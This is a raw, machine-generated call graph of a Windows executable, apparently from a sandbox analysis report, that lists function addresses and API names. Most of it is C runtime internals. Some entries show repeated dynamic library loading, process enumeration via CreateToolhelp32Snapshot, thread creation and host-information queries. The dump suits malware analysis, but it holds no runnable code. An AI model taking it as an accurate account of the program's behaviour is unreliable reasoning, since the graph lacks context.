f30b33 9978->9980 9983 f30d04 9980->9983 9984 f30b3b 9980->9984 9981 f3133c 10845 f24200 9981->10845 9987 f37520 60 API calls 9983->9987 9992 f2fdd0 8 API calls 9984->9992 9985 f310eb 10818 f37520 9985->10818 9986 f30e9c 9997 f2fdd0 8 API calls 9986->9997 9989 f30d0b 9987->9989 9989->9993 9998 f30d13 9989->9998 9990 f31341 10893 f34630 CreateToolhelp32Snapshot 9990->10893 9992->9996 9993->9981 10810 f37430 9993->10810 9996->9967 10001 f310cc 9997->10001 10004 f2fdd0 8 API calls 9998->10004 10000 f310fd 10823 f2fdd0 10000->10823 10003 f37a82 CatchGuardHandler 5 API calls 10001->10003 10002 f313c0 10025 f31475 10002->10025 10907 f23480 10002->10907 10006 f310e5 10003->10006 10007 f30e56 10004->10007 10006->9920 10010 f37a82 CatchGuardHandler 5 API calls 10007->10010 10014 f30e6f 10010->10014 10011 f31364 10011->10002 10016 f237c0 24 API calls 10011->10016 10024 f35950 39 API calls 10011->10024 10012 f37a82 CatchGuardHandler 5 API calls 10017 f31336 10012->10017 10013 f31436 10021 f3145c CreateThread 10013->10021 10013->10025 10027 f222a0 6 API calls 10013->10027 10014->9920 10015 f237c0 24 API calls 10018 f313c2 10015->10018 10016->10011 10017->9920 10018->10002 10018->10015 10022 f35950 39 API calls 10018->10022 10020 f3150c 10965 f338b0 10020->10965 10021->10025 11881 f363d0 10021->11881 10022->10018 10024->10011 10028 f31511 10025->10028 10029 f314aa 10025->10029 11032 f32600 10025->11032 10026 f3153e 11047 f37590 10026->11047 10030 f31452 10027->10030 10028->10026 10034 f222a0 6 API calls 10028->10034 10040 f31553 10028->10040 10029->10020 10930 f237c0 10029->10930 10935 f35950 10029->10935 10030->10021 10032 f315ce 10036 f37a82 CatchGuardHandler 5 API calls 10032->10036 10033 f315ab 10033->10032 10041 f222a0 6 API calls 10033->10041 10034->10026 10039 f315f5 10036->10039 10037 f237c0 24 API calls 10037->10040 10039->9920 10040->10032 10040->10033 10040->10037 11054 f37620 10040->11054 10041->10032 10044 f3835a ___scrt_fastfail 10043->10044 10045 f38402 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 10044->10045 10046 f3844c 10045->10046 10046->9905 10048 f3a62c pre_c_initialization _abort 10047->10048 10048->9913 10049 f3b29a pre_c_initialization 35 API calls 10048->10049 10052 f3acf8 10049->10052 10050 f3ae05 _abort 35 API calls 10051 f3ad22 10050->10051 10052->10050 10054 f37e93 10053->10054 10054->9923 10055 f3a63c 10054->10055 10056 f3a3b9 _abort 28 API calls 10055->10056 10057 f3a64d 10056->10057 10057->9923 10059 f3a3b9 _abort 28 API calls 10058->10059 10060 f3a5ea 10059->10060 10060->9925 10062 f381c1 10061->10062 10063 f37eae 10062->10063 11888 f3ac76 10062->11888 10063->9912 10066 f38f9f ___vcrt_uninitialize 8 API calls 10066->10063 10068 f38053 10067->10068 10069 f38f76 10068->10069 10070 f38f7b ___vcrt_initialize_pure_virtual_call_handler ___vcrt_initialize_winapi_thunks 10069->10070 10089 f393c8 10070->10089 10074 f38f91 10075 f38f9c 10074->10075 10103 f39404 10074->10103 10075->9934 10077 f38f89 10077->9934 10144 f3d432 10078->10144 10081 f38f9f 10082 f38fb9 10081->10082 10083 f38fa8 10081->10083 10082->9939 10084 f393ad ___vcrt_uninitialize_ptd 6 API calls 10083->10084 10085 f38fad 10084->10085 10086 f39404 ___vcrt_uninitialize_locks DeleteCriticalSection 10085->10086 10087 f38fb2 10086->10087 10156 f396dc 10087->10156 10090 f393d1 10089->10090 10092 f393fa 10090->10092 10093 f38f85 10090->10093 10107 f3965c 10090->10107 10094 f39404 ___vcrt_uninitialize_locks DeleteCriticalSection 10092->10094 10093->10077 10095 f3937a 10093->10095 10094->10093 10125 f39571 10095->10125 10097 f39384 10102 f3938f 10097->10102 10130 f3961f 10097->10130 10099 f3939d 10100 f393aa 10099->10100 10135 f393ad 10099->10135 10100->10074 10102->10074 10104 f3940f 10103->10104 10106 f3942e 10103->10106 10105 f39419 DeleteCriticalSection 10104->10105 10105->10105 10105->10106 10106->10077 10112 f39450 10107->10112 10109 f39676 10110 f39693 InitializeCriticalSectionAndSpinCount 10109->10110 10111 f3967f 10109->10111 10110->10111 10111->10090 10115 f39480 10112->10115 10117 f39484 __crt_fast_encode_pointer 10112->10117 10113 f394a4 10116 f394b0 GetProcAddress 10113->10116 10113->10117 10115->10113 10115->10117 10118 f394f0 10115->10118 10116->10117 10117->10109 10119 f39518 LoadLibraryExW 10118->10119 10124 f3950d 10118->10124 10120 f39534 GetLastError 10119->10120 10123 f3954c 10119->10123 10122 f3953f LoadLibraryExW 10120->10122 10120->10123 10121 f39563 FreeLibrary 10121->10124 10122->10123 10123->10121 10123->10124 10124->10115 10126 f39450 try_get_function 5 API calls 10125->10126 10127 f3958b 10126->10127 10128 f395a3 TlsAlloc 10127->10128 10129 f39594 10127->10129 10129->10097 10131 f39450 try_get_function 5 API calls 10130->10131 10132 f39639 10131->10132 10133 f39653 TlsSetValue 10132->10133 10134 f39648 10132->10134 10133->10134 10134->10099 10136 f393b7 10135->10136 10137 f393bd 10135->10137 10139 f395ab 10136->10139 10137->10102 10140 f39450 try_get_function 5 API calls 10139->10140 10141 f395c5 10140->10141 10142 f395dc TlsFree 10141->10142 10143 f395d1 10141->10143 10142->10143 10143->10137 10147 f3d44b 10144->10147 10146 f38065 10146->9937 10146->10081 10148 f37a82 10147->10148 10149 f37a8b 10148->10149 10150 f37a8d IsProcessorFeaturePresent 10148->10150 10149->10146 10152 f37acf 10150->10152 10155 f37a93 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 10152->10155 10154 f37bb2 10154->10146 10155->10154 10157 f396e5 10156->10157 10159 f3970b 10156->10159 10158 f396f5 FreeLibrary 10157->10158 10157->10159 10158->10157 10159->10082 10161 f38472 GetStartupInfoW 10160->10161 10161->9951 10163 f3bea6 10162->10163 10164 f3beaf 10162->10164 10169 f3bd9c 10163->10169 10164->9954 10720 f3c1cf 10166->10720 10189 f3b29a GetLastError 10169->10189 10171 f3bda9 10209 f3bebb 10171->10209 10173 f3bdb1 10218 f3bb30 10173->10218 10176 f3bdc8 10176->10164 10179 f3be0b 10245 f3ad7d 10179->10245 10183 f3be06 10242 f3b502 10183->10242 10185 f3be4f 10185->10179 10251 f3ba06 10185->10251 10186 f3be23 10186->10185 10187 f3ad7d _free 20 API calls 10186->10187 10187->10185 10190 f3b2b0 10189->10190 10191 f3b2b6 10189->10191 10254 f3c4d6 10190->10254 10194 f3b305 SetLastError 10191->10194 10261 f3ae48 10191->10261 10194->10171 10195 f3b2d0 10198 f3ad7d _free 20 API calls 10195->10198 10200 f3b2d6 10198->10200 10202 f3b311 SetLastError 10200->10202 10201 f3b2ec 10275 f3b10c 10201->10275 10280 f3ae05 10202->10280 10207 f3ad7d _free 20 API calls 10208 f3b2fe 10207->10208 10208->10194 10208->10202 10210 f3bec7 ___BuildCatchObject 10209->10210 10211 f3b29a pre_c_initialization 35 API calls 10210->10211 10216 f3bed1 10211->10216 10213 f3bf55 ___BuildCatchObject 10213->10173 10215 f3ae05 _abort 35 API calls 10215->10216 10216->10213 10216->10215 10217 f3ad7d _free 20 API calls 10216->10217 10573 f3b42a EnterCriticalSection 10216->10573 10574 f3bf4c 10216->10574 10217->10216 10578 f3aea5 10218->10578 10221 f3bb63 10223 f3bb7a 10221->10223 10224 f3bb68 GetACP 10221->10224 10222 f3bb51 GetOEMCP 10222->10223 10223->10176 10225 f3adb7 10223->10225 10224->10223 10226 f3adf5 10225->10226 10231 f3adc5 pre_c_initialization 10225->10231 10227 f3b502 __dosmaperr 20 API calls 10226->10227 10229 f3adf3 10227->10229 10228 f3ade0 RtlAllocateHeap 10228->10229 10228->10231 10229->10179 10232 f3bf5d 10229->10232 10230 f39ae6 new 7 API calls 10230->10231 10231->10226 10231->10228 10231->10230 10233 f3bb30 37 API calls 10232->10233 10234 f3bf7c 10233->10234 10237 f3bfcd IsValidCodePage 10234->10237 10239 f3bf83 10234->10239 10241 f3bff2 ___scrt_fastfail 10234->10241 10235 f37a82 CatchGuardHandler 5 API calls 10236 f3bdfe 10235->10236 10236->10183 10236->10186 10238 f3bfdf GetCPInfo 10237->10238 10237->10239 10238->10239 10238->10241 10239->10235 10615 f3bc08 GetCPInfo 10241->10615 10243 f3b31e __dosmaperr 20 API calls 10242->10243 10244 f3b507 10243->10244 10244->10179 10246 f3adb1 __dosmaperr 10245->10246 10247 f3ad88 RtlFreeHeap 10245->10247 10246->10176 10247->10246 10248 f3ad9d 10247->10248 10249 f3b502 __dosmaperr 18 API calls 10248->10249 10250 f3ada3 GetLastError 10249->10250 10250->10246 10688 f3b9c3 10251->10688 10253 f3ba2a 10253->10179 10291 f3c313 10254->10291 10256 f3c4fd 10257 f3c515 TlsGetValue 10256->10257 10258 f3c509 10256->10258 10257->10258 10259 f37a82 CatchGuardHandler 5 API calls 10258->10259 10260 f3c526 10259->10260 10260->10191 10266 f3ae55 pre_c_initialization 10261->10266 10262 f3ae95 10264 f3b502 __dosmaperr 19 API calls 10262->10264 10263 f3ae80 HeapAlloc 10265 f3ae93 10263->10265 10263->10266 10264->10265 10265->10195 10268 f3c52c 10265->10268 10266->10262 10266->10263 10304 f39ae6 10266->10304 10269 f3c313 pre_c_initialization 5 API calls 10268->10269 10270 f3c553 10269->10270 10271 f3c56e TlsSetValue 10270->10271 10272 f3c562 10270->10272 10271->10272 10273 f37a82 CatchGuardHandler 5 API calls 10272->10273 10274 f3b2e5 10273->10274 10274->10195 10274->10201 10320 f3b0e4 10275->10320 10428 f3d5ee 10280->10428 10284 f3ae3d 10462 f3a5ee 10284->10462 10285 f3ae1f IsProcessorFeaturePresent 10288 f3ae2a 10285->10288 10287 f3ae15 10287->10284 10287->10285 10456 f398a8 10288->10456 10294 f3c33f 10291->10294 10296 f3c343 __crt_fast_encode_pointer 10291->10296 10292 f3c363 10295 f3c36f GetProcAddress 10292->10295 10292->10296 10294->10292 10294->10296 10297 f3c3af 10294->10297 10295->10296 10296->10256 10298 f3c3d0 LoadLibraryExW 10297->10298 10299 f3c3c5 10297->10299 10300 f3c3ed GetLastError 10298->10300 10303 f3c405 10298->10303 10299->10294 10301 f3c3f8 LoadLibraryExW 10300->10301 10300->10303 10301->10303 10302 f3c41c FreeLibrary 10302->10299 10303->10299 10303->10302 10309 f39b2a 10304->10309 10306 f37a82 CatchGuardHandler 5 API calls 10307 f39b26 10306->10307 10307->10266 10308 f39afc 10308->10306 10310 f39b36 ___BuildCatchObject 10309->10310 10315 f3b42a EnterCriticalSection 10310->10315 10312 f39b41 10316 f39b73 10312->10316 10314 f39b68 ___BuildCatchObject 10314->10308 10315->10312 10319 f3b472 LeaveCriticalSection 10316->10319 10318 f39b7a 10318->10314 10319->10318 10326 f3b024 10320->10326 10322 f3b108 10323 f3b094 10322->10323 10337 f3af28 10323->10337 10325 f3b0b8 10325->10207 10327 f3b030 ___BuildCatchObject 10326->10327 10332 f3b42a EnterCriticalSection 10327->10332 10329 f3b03a 10333 f3b060 10329->10333 10331 f3b058 ___BuildCatchObject 10331->10322 10332->10329 10336 f3b472 LeaveCriticalSection 10333->10336 10335 f3b06a 10335->10331 10336->10335 10338 f3af34 ___BuildCatchObject 10337->10338 10345 f3b42a EnterCriticalSection 10338->10345 10340 f3af3e 10346 f3b24f 10340->10346 10342 f3af56 10350 f3af6c 10342->10350 10344 f3af64 ___BuildCatchObject 10344->10325 10345->10340 10347 f3b25e __fassign 10346->10347 10349 f3b285 __fassign 10346->10349 10347->10349 10353 f3d08b 10347->10353 10349->10342 10427 f3b472 LeaveCriticalSection 10350->10427 10352 f3af76 10352->10344 10354 f3d10b 10353->10354 10357 f3d0a1 10353->10357 10356 f3ad7d _free 20 API calls 10354->10356 10379 f3d159 10354->10379 10358 f3d12d 10356->10358 10357->10354 10361 f3ad7d _free 20 API calls 10357->10361 10363 f3d0d4 10357->10363 10359 f3ad7d _free 20 API calls 10358->10359 10362 f3d140 10359->10362 10360 f3d167 10369 f3d1c7 10360->10369 10378 f3ad7d 20 API calls _free 10360->10378 10365 f3d0c9 10361->10365 10366 f3ad7d _free 20 API calls 10362->10366 10367 f3ad7d _free 20 API calls 10363->10367 10380 f3d0f6 10363->10380 10364 f3ad7d _free 20 API calls 10368 f3d100 10364->10368 10381 f3cc4a 10365->10381 10372 f3d14e 10366->10372 10373 f3d0eb 10367->10373 10374 f3ad7d _free 20 API calls 10368->10374 10370 f3ad7d _free 20 API calls 10369->10370 10375 f3d1cd 10370->10375 10376 f3ad7d _free 20 API calls 10372->10376 10409 f3cd48 10373->10409 10374->10354 10375->10349 10376->10379 10378->10360 10421 f3d1fe 10379->10421 10380->10364 10382 f3cd44 10381->10382 10383 f3cc5b 10381->10383 10382->10363 10384 f3cc6c 10383->10384 10385 f3ad7d _free 20 API calls 10383->10385 10386 f3cc7e 10384->10386 10388 f3ad7d _free 20 API calls 10384->10388 10385->10384 10387 f3cc90 10386->10387 10389 f3ad7d _free 20 API calls 10386->10389 10390 f3cca2 10387->10390 10391 f3ad7d _free 20 API calls 10387->10391 10388->10386 10389->10387 10392 f3ccb4 10390->10392 10393 f3ad7d _free 20 API calls 10390->10393 10391->10390 10394 f3ccc6 10392->10394 10396 f3ad7d _free 20 API calls 10392->10396 10393->10392 10395 f3ccd8 10394->10395 10397 f3ad7d _free 20 API calls 10394->10397 10398 f3ccea 10395->10398 10399 f3ad7d _free 20 API calls 10395->10399 10396->10394 10397->10395 10400 f3ccfc 10398->10400 10401 f3ad7d _free 20 API calls 10398->10401 10399->10398 10402 f3cd0e 10400->10402 10404 f3ad7d _free 20 API calls 10400->10404 10401->10400 10403 f3cd20 10402->10403 10405 f3ad7d _free 20 API calls 10402->10405 10406 f3cd32 10403->10406 10407 f3ad7d _free 20 API calls 10403->10407 10404->10402 10405->10403 10406->10382 10408 f3ad7d _free 20 API calls 10406->10408 10407->10406 10408->10382 10410 f3cd55 10409->10410 10420 f3cdad 10409->10420 10411 f3cd65 10410->10411 10412 f3ad7d _free 20 API calls 10410->10412 10413 f3cd77 10411->10413 10414 f3ad7d _free 20 API calls 10411->10414 10412->10411 10415 f3cd89 10413->10415 10416 f3ad7d _free 20 API calls 10413->10416 10414->10413 10417 f3cd9b 10415->10417 10418 f3ad7d _free 20 API calls 10415->10418 10416->10415 10419 f3ad7d _free 20 API calls 10417->10419 10417->10420 10418->10417 10419->10420 10420->10380 10422 f3d20b 10421->10422 10426 f3d229 10421->10426 10423 f3cded __fassign 20 API calls 10422->10423 10422->10426 10424 f3d223 10423->10424 10425 f3ad7d _free 20 API calls 10424->10425 10425->10426 10426->10360 10427->10352 10465 f3d55c 10428->10465 10431 f3d649 10432 f3d655 _abort 10431->10432 10437 f3d682 _abort 10432->10437 10438 f3d67c _abort 10432->10438 10479 f3b31e GetLastError 10432->10479 10434 f3d6ce 10435 f3b502 __dosmaperr 20 API calls 10434->10435 10436 f3d6b1 pre_c_initialization 10435->10436 10507 f41779 10436->10507 10442 f3d6fa 10437->10442 10498 f3b42a EnterCriticalSection 10437->10498 10438->10434 10438->10436 10438->10437 10443 f3d759 10442->10443 10445 f3d751 10442->10445 10453 f3d784 10442->10453 10499 f3b472 LeaveCriticalSection 10442->10499 10443->10453 10500 f3d640 10443->10500 10448 f3a5ee _abort 28 API calls 10445->10448 10448->10443 10450 f3b29a pre_c_initialization 35 API calls 10454 f3d7e7 10450->10454 10452 f3d640 _abort 35 API calls 10452->10453 10503 f3d809 10453->10503 10454->10436 10455 f3b29a pre_c_initialization 35 API calls 10454->10455 10455->10436 10457 f398c4 _abort ___scrt_fastfail 10456->10457 10458 f398f0 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 10457->10458 10461 f399c1 _abort 10458->10461 10459 f37a82 CatchGuardHandler 5 API calls 10460 f399df 10459->10460 10460->10284 10461->10459 10511 f3a3b9 10462->10511 10468 f3d502 10465->10468 10467 f3ae0a 10467->10287 10467->10431 10469 f3d50e ___BuildCatchObject 10468->10469 10474 f3b42a EnterCriticalSection 10469->10474 10471 f3d51c 10475 f3d550 10471->10475 10473 f3d543 ___BuildCatchObject 10473->10467 10474->10471 10478 f3b472 LeaveCriticalSection 10475->10478 10477 f3d55a 10477->10473 10478->10477 10480 f3b33d 10479->10480 10481 f3b337 10479->10481 10482 f3ae48 pre_c_initialization 17 API calls 10480->10482 10485 f3b394 SetLastError 10480->10485 10483 f3c4d6 pre_c_initialization 11 API calls 10481->10483 10484 f3b34f 10482->10484 10483->10480 10487 f3c52c pre_c_initialization 11 API calls 10484->10487 10492 f3b357 10484->10492 10486 f3b39d 10485->10486 10486->10438 10489 f3b36c 10487->10489 10488 f3ad7d _free 17 API calls 10490 f3b35d 10488->10490 10491 f3b373 10489->10491 10489->10492 10493 f3b38b SetLastError 10490->10493 10494 f3b10c pre_c_initialization 17 API calls 10491->10494 10492->10488 10493->10486 10495 f3b37e 10494->10495 10496 f3ad7d _free 17 API calls 10495->10496 10497 f3b384 10496->10497 10497->10485 10497->10493 10498->10442 10499->10445 10501 f3b29a pre_c_initialization 35 API calls 10500->10501 10502 f3d645 10501->10502 10502->10452 10504 f3d7d8 10503->10504 10505 f3d80f 10503->10505 10504->10436 10504->10450 10504->10454 10510 f3b472 LeaveCriticalSection 10505->10510 10508 f37a82 CatchGuardHandler 5 API calls 10507->10508 10509 f41784 10508->10509 10509->10509 10510->10504 10513 f3a3c5 _abort 10511->10513 10512 f3a3dd 10540 f3b42a EnterCriticalSection 10512->10540 10513->10512 10515 f3a513 _abort GetModuleHandleW 10513->10515 10516 f3a3d1 10515->10516 10516->10512 10533 f3a557 GetModuleHandleExW 10516->10533 10517 f3a483 10544 f3a4c3 10517->10544 10520 f3a3e5 10520->10517 10522 f3a45a 10520->10522 10541 f3aaf2 10520->10541 10523 f3a472 10522->10523 10528 f3a2e6 _abort 5 API calls 10522->10528 10529 f3a2e6 _abort 5 API calls 10523->10529 10524 f3a4a0 10547 f3a4d2 10524->10547 10525 f3a4cc 10527 f41779 _abort 5 API calls 10525->10527 10532 f3a4d1 10527->10532 10528->10523 10529->10517 10534 f3a581 GetProcAddress 10533->10534 10535 f3a596 10533->10535 10534->10535 10536 f3a5b3 10535->10536 10537 f3a5aa FreeLibrary 10535->10537 10538 f37a82 CatchGuardHandler 5 API calls 10536->10538 10537->10536 10539 f3a5bd 10538->10539 10539->10512 10540->10520 10555 f3a82b 10541->10555 10566 f3b472 LeaveCriticalSection 10544->10566 10546 f3a49c 10546->10524 10546->10525 10567 f3c6f1 10547->10567 10550 f3a500 10552 f3a557 _abort 8 API calls 10550->10552 10551 f3a4e0 GetPEB 10551->10550 10553 f3a4f0 GetCurrentProcess TerminateProcess 10551->10553 10554 f3a508 ExitProcess 10552->10554 10553->10550 10558 f3a7da 10555->10558 10557 f3a84f 10557->10522 10559 f3a7e6 ___BuildCatchObject 10558->10559 10560 f3b42a _abort EnterCriticalSection 10559->10560 10561 f3a7f4 10560->10561 10562 f3a87b _abort 20 API calls 10561->10562 10563 f3a801 10562->10563 10564 f3a81f _abort LeaveCriticalSection 10563->10564 10565 f3a812 ___BuildCatchObject 10564->10565 10565->10557 10566->10546 10568 f3c716 10567->10568 10570 f3c70c 10567->10570 10569 f3c313 pre_c_initialization 5 API calls 10568->10569 10569->10570 10571 f37a82 CatchGuardHandler 5 API calls 10570->10571 10572 f3a4dc 10571->10572 10572->10550 10572->10551 10573->10216 10577 f3b472 LeaveCriticalSection 10574->10577 10576 f3bf53 10576->10216 10577->10576 10579 f3aec2 10578->10579 10580 f3aeb8 10578->10580 10579->10580 10581 f3b29a pre_c_initialization 35 API calls 10579->10581 10580->10221 10580->10222 10582 f3aee3 10581->10582 10586 f3ddab 10582->10586 10587 f3aefc 10586->10587 10588 f3ddbe 10586->10588 10590 f3ddd8 10587->10590 10588->10587 10594 f3d2d8 10588->10594 10591 f3de00 10590->10591 10592 f3ddeb 10590->10592 10591->10580 10592->10591 10593 f3bebb __fassign 35 API calls 10592->10593 10593->10591 10595 f3d2e4 ___BuildCatchObject 10594->10595 10596 f3b29a pre_c_initialization 35 API calls 10595->10596 10597 f3d2ed 10596->10597 10598 f3d33b ___BuildCatchObject 10597->10598 10606 f3b42a EnterCriticalSection 10597->10606 10598->10587 10600 f3d30b 10607 f3d34f 10600->10607 10605 f3ae05 _abort 35 API calls 10605->10598 10606->10600 10608 f3d31f 10607->10608 10609 f3d35d __fassign 10607->10609 10611 f3d33e 10608->10611 10609->10608 10610 f3d08b __fassign 20 API calls 10609->10610 10610->10608 10614 f3b472 LeaveCriticalSection 10611->10614 10613 f3d332 10613->10598 10613->10605 10614->10613 10616 f3bc42 10615->10616 10624 f3bcec 10615->10624 10625 f3ced1 10616->10625 10618 f37a82 CatchGuardHandler 5 API calls 10620 f3bd98 10618->10620 10620->10239 10623 f3e7c0 40 API calls 10623->10624 10624->10618 10626 f3aea5 __fassign 35 API calls 10625->10626 10627 f3cef1 MultiByteToWideChar 10626->10627 10629 f3cf2f 10627->10629 10637 f3cfc7 10627->10637 10631 f3cf50 __alloca_probe_16 ___scrt_fastfail 10629->10631 10632 f3adb7 __onexit 21 API calls 10629->10632 10630 f37a82 CatchGuardHandler 5 API calls 10633 f3bca3 10630->10633 10634 f3cfc1 10631->10634 10636 f3cf95 MultiByteToWideChar 10631->10636 10632->10631 10639 f3e7c0 10633->10639 10644 f3cfee 10634->10644 10636->10634 10638 f3cfb1 GetStringTypeW 10636->10638 10637->10630 10638->10634 10640 f3aea5 __fassign 35 API calls 10639->10640 10641 f3e7d3 10640->10641 10648 f3e5a3 10641->10648 10645 f3cffa 10644->10645 10647 f3d00b 10644->10647 10646 f3ad7d _free 20 API calls 10645->10646 10645->10647 10646->10647 10647->10637 10649 f3e5be 10648->10649 10650 f3e5e4 MultiByteToWideChar 10649->10650 10651 f3e798 10650->10651 10652 f3e60e 10650->10652 10653 f37a82 CatchGuardHandler 5 API calls 10651->10653 10656 f3adb7 __onexit 21 API calls 10652->10656 10658 f3e62f __alloca_probe_16 10652->10658 10654 f3bcc4 10653->10654 10654->10623 10655 f3e678 MultiByteToWideChar 10657 f3e691 10655->10657 10674 f3e6e4 10655->10674 10656->10658 10675 f3c5e7 10657->10675 10658->10655 10658->10674 10660 f3cfee __freea 20 API calls 10660->10651 10662 f3e6f3 10664 f3e714 __alloca_probe_16 10662->10664 10665 f3adb7 __onexit 21 API calls 10662->10665 10663 f3e6bb 10666 f3c5e7 11 API calls 10663->10666 10663->10674 10667 f3e789 10664->10667 10668 f3c5e7 11 API calls 10664->10668 10665->10664 10666->10674 10669 f3cfee __freea 20 API calls 10667->10669 10670 f3e768 10668->10670 10669->10674 10670->10667 10671 f3e777 WideCharToMultiByte 10670->10671 10671->10667 10672 f3e7b7 10671->10672 10673 f3cfee __freea 20 API calls 10672->10673 10673->10674 10674->10660 10676 f3c313 pre_c_initialization 5 API calls 10675->10676 10677 f3c60e 10676->10677 10680 f3c617 10677->10680 10683 f3c66f 10677->10683 10681 f37a82 CatchGuardHandler 5 API calls 10680->10681 10682 f3c669 10681->10682 10682->10662 10682->10663 10682->10674 10684 f3c313 pre_c_initialization 5 API calls 10683->10684 10685 f3c696 10684->10685 10686 f37a82 CatchGuardHandler 5 API calls 10685->10686 10687 f3c657 LCMapStringW 10686->10687 10687->10680 10689 f3b9cf ___BuildCatchObject 10688->10689 10696 f3b42a EnterCriticalSection 10689->10696 10691 f3b9d9 10697 f3ba2e 10691->10697 10695 f3b9f2 ___BuildCatchObject 10695->10253 10696->10691 10709 f3c14e 10697->10709 10699 f3ba7c 10700 f3c14e 20 API calls 10699->10700 10701 f3ba98 10700->10701 10702 f3c14e 20 API calls 10701->10702 10703 f3bab6 10702->10703 10704 f3b9e6 10703->10704 10705 f3ad7d _free 20 API calls 10703->10705 10706 f3b9fa 10704->10706 10705->10704 10719 f3b472 LeaveCriticalSection 10706->10719 10708 f3ba04 10708->10695 10710 f3c15f 10709->10710 10717 f3c15b pre_c_initialization 10709->10717 10711 f3c166 10710->10711 10713 f3c179 ___scrt_fastfail 10710->10713 10712 f3b502 __dosmaperr 20 API calls 10711->10712 10712->10717 10714 f3c1b0 10713->10714 10715 f3c1a7 10713->10715 10713->10717 10714->10717 10718 f3b502 __dosmaperr 20 API calls 10714->10718 10716 f3b502 __dosmaperr 20 API calls 10715->10716 10716->10717 10717->10699 10718->10717 10719->10708 10721 f3aea5 __fassign 35 API calls 10720->10721 10722 f3c1e3 10721->10722 10722->9954 10724 f22889 10723->10724 11064 f221e0 10724->11064 10726 f2289e 10727 f228ab 10726->10727 11071 f39867 10726->11071 10727->9959 10729 f228bc ___scrt_fastfail 10729->9959 10731 f21b12 LoadLibraryA 10730->10731 10732 f21af0 10730->10732 11103 f22ef0 10731->11103 10732->10731 10734 f21b5c LoadLibraryA 10735 f21bd0 LoadLibraryA 10734->10735 10736 f21ba9 10734->10736 11105 f22e90 10735->11105 10736->10735 10738 f21c16 LoadLibraryA 11107 f22e30 10738->11107 10740 f21c65 LoadLibraryA 11109 f22dd0 10740->11109 10742 f21ca8 LoadLibraryA 11111 f22d70 10742->11111 10744 f21d09 LoadLibraryA 11113 f22d10 10744->11113 10746 f21d88 LoadLibraryA 11115 f22cb0 10746->11115 10751 f21ec0 LoadLibraryA 10753 f21ed9 10751->10753 10754 f21ede 10751->10754 10752 f21e9b 10752->10751 11119 f210d0 10753->11119 10756 f21eed 10754->10756 10757 f210d0 17 API calls 10754->10757 10758 f21efc 10756->10758 10760 f210d0 17 API calls 10756->10760 10757->10756 10759 f21f0b 10758->10759 10761 f210d0 17 API calls 10758->10761 10762 f21f24 10759->10762 10763 f210d0 17 API calls 10759->10763 10760->10758 10761->10759 10764 f21f33 10762->10764 10765 f210d0 17 API calls 10762->10765 10763->10762 10766 f21f47 10764->10766 10767 f210d0 17 API calls 10764->10767 10765->10764 10768 f21f56 10766->10768 10769 f210d0 17 API calls 10766->10769 10767->10766 10770 f210d0 17 API calls 10768->10770 10772 f21f65 10768->10772 10769->10768 10770->10772 10771 f21f74 10774 f21f83 10771->10774 10775 f210d0 17 API calls 10771->10775 10772->10771 10773 f210d0 17 API calls 10772->10773 10773->10771 10774->9961 10775->10774 10777 f305bd 10776->10777 10778 f305ae 10776->10778 10780 f305e7 10777->10780 10781 f305d6 10777->10781 10779 f222a0 6 API calls 10778->10779 10779->10777 11150 f30500 10780->11150 10782 f37a82 CatchGuardHandler 5 API calls 10781->10782 10783 f305e3 10782->10783 10783->9973 10785 f30619 10786 f30500 6 API calls 10785->10786 10787 f30651 10786->10787 10788 f30500 6 API calls 10787->10788 10789 f30685 10788->10789 10790 f30500 6 API calls 10789->10790 10791 f306c9 10790->10791 10797 f222a0 6 API calls 10791->10797 10800 f30733 10791->10800 10802 f30720 10791->10802 10792 f308ad 10795 f30210 24 API calls 10792->10795 10798 f308bd 10792->10798 10794 f30947 10796 f37a82 CatchGuardHandler 5 API calls 10794->10796 10795->10798 10799 f30959 10796->10799 10797->10802 10798->10794 10801 f30931 10798->10801 10803 f222a0 6 API calls 10798->10803 10799->9973 10800->10792 11159 f30210 10800->11159 10801->10794 11199 f2fc40 10801->11199 10802->10800 10804 f222a0 6 API calls 10802->10804 10806 f307a9 10802->10806 10803->10801 10804->10806 10806->10800 11155 f301e0 10806->11155 10808 f3080d 10808->10800 10809 f301e0 6 API calls 10808->10809 10809->10800 10811 f3743f 10810->10811 10812 f222a0 6 API calls 10811->10812 10813 f37478 10811->10813 10816 f30e94 10811->10816 10812->10813 10814 f39867 new 21 API calls 10813->10814 10813->10816 10815 f3749f ___scrt_fastfail 10814->10815 10815->10816 10817 f222a0 6 API calls 10815->10817 10816->9985 10816->9986 10817->10816 10820 f37525 10818->10820 10819 f310f5 10819->9981 10819->10000 10820->10819 10821 f37563 CreateThread 10820->10821 10822 f222a0 6 API calls 10820->10822 10821->10819 10821->10820 11222 f370a0 10821->11222 10822->10820 10824 f30107 10823->10824 10827 f2fdf3 10823->10827 10825 f37a82 CatchGuardHandler 5 API calls 10824->10825 10826 f30114 10825->10826 10826->10012 10828 f222a0 6 API calls 10827->10828 10829 f2fe2a 10827->10829 10828->10829 10829->10824 10830 f2feab 10829->10830 10832 f2feb9 GetLocalTime 10829->10832 10831 f222a0 6 API calls 10830->10831 10831->10832 11562 f30120 10832->11562 10835 f30005 wsprintfW 10836 f3003d 10835->10836 10837 f3001c 10835->10837 10838 f3007d 10836->10838 10839 f222a0 6 API calls 10836->10839 10837->10836 10840 f222a0 6 API calls 10837->10840 10841 f300bf 10838->10841 10842 f222a0 6 API calls 10838->10842 10839->10838 10840->10836 10843 f300f4 10841->10843 10844 f222a0 6 API calls 10841->10844 10842->10841 10843->10824 10844->10843 10846 f24225 10845->10846 10850 f24234 10845->10850 10847 f222a0 6 API calls 10846->10847 10847->10850 10848 f242aa 10851 f37a82 CatchGuardHandler 5 API calls 10848->10851 10849 f24268 10854 f24291 10849->10854 10855 f242cb 10849->10855 10850->10848 10850->10849 10852 f222a0 6 API calls 10850->10852 10853 f242c7 10851->10853 10852->10849 10853->9990 10854->10848 10858 f222a0 6 API calls 10854->10858 10856 f242ee 10855->10856 10857 f222a0 6 API calls 10855->10857 10859 f2433e GetNativeSystemInfo 10856->10859 10860 f222a0 6 API calls 10856->10860 10857->10856 10858->10848 10861 f24355 10859->10861 10864 f2456e 10859->10864 10862 f24335 10860->10862 10863 f222a0 6 API calls 10861->10863 10867 f24373 10861->10867 10862->10859 10863->10867 10865 f2469c 10864->10865 10866 f222a0 6 API calls 10864->10866 10874 f24653 10864->10874 10868 f23f70 6 API calls 10865->10868 10866->10874 